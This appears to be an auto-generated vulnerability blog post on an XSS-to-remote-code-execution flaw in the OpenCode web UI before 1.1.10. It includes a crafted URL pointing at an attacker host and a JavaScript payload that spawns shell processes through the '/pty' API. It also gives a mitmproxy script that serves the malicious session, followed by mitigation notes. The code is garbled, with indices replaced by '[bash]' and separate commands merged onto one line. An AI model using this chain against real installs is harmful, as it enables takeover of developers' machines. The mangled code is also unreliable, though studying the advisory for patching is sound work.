Listen to this Post
The vulnerability exploits the OpenCode web UI’s server URL override feature via the `?url` parameter. When a user visits a maliciously crafted URL, such as `http://localhost:4096/Lw/session/ses_id?url=https://attacker.com`, the web UI connects to an attacker-controlled OpenCode instance. This instance serves a chat session containing a malicious LLM response with embedded HTML, including an image tag with an `onerror` attribute that executes JavaScript. Since the markdown renderer lacks sanitization and Content Security Policy, this HTML injection leads to JavaScript execution on the `localhost:4096` origin. As the OpenCode API exposes `/pty/` endpoints on the same origin, the JavaScript can make `fetch()` requests to spawn arbitrary processes on the local machine, achieving remote code execution. The attack chain requires user interaction to visit the malicious URL while OpenCode is running locally, leveraging the same-origin policy to access the privileged API.
Platform: OpenCode
Version: Before 1.1.10
Vulnerability: XSS to RCE
Severity: Critical
Date: 09 Jan 2026
Prediction: Patched 09 Jan 2026
What Undercode Say:
Showing bash commands and codes related to the blog
docker run -it --rm -p 4096:4096 ghcr.io/anomalyco/opencode:latest --hostname 0.0.0.0 mitmproxy -s plugin.py -p 12345 -m upstream:http://localhost:4096 opencode ls /tmp/
import base64
import json
payload = """
(async () => {
const ptyInit = {'command':'/bin/sh', 'args': ['-c', 'touch /tmp/albert-was-here.txt']};
const r = await fetch('/pty', {method: 'POST', body: JSON.stringify(ptyInit), headers: {'Content-Type': 'application/json'}});
const pty_id = (await r.json())['id'];
await new Promise(r => setTimeout(r, 500));
await fetch('/pty/' + pty_id, {method: 'DELETE'})
window.location.replace('https://example.com');
})()
"""
malicious_messages = [...]
async def response(flow):
if flow.request.path.split('?')[bash] == '/session':
flow.response.text = json.dumps([bash], separators=(',', ':'))
elif flow.request.path.split('?')[bash] == '/session/ses_45d2d9723ffeHN2DLrTYMz4mHn':
flow.response.status_code = 200
flow.response.text = json.dumps(malicious_session, separators=(',', ':'))
elif flow.request.path.split('?')[bash] == '/session/ses_45d2d9723ffeHN2DLrTYMz4mHn/message':
flow.response.text = json.dumps(malicious_messages, separators=(',', ':'))
how Exploit:
Craft malicious URL
Serve malicious session
Trigger XSS payload
Execute commands via /pty/ endpoints
Protection from this CVE
Upgrade to 1.1.10
Disable web UI
Implement CSP
Impact:
Local code execution
System compromise
Data theft
🎯Let’s Practice Exploiting & Learn Patching For Free:
Sources:
Reported By: github.com
Extra Source Hub:
Undercode

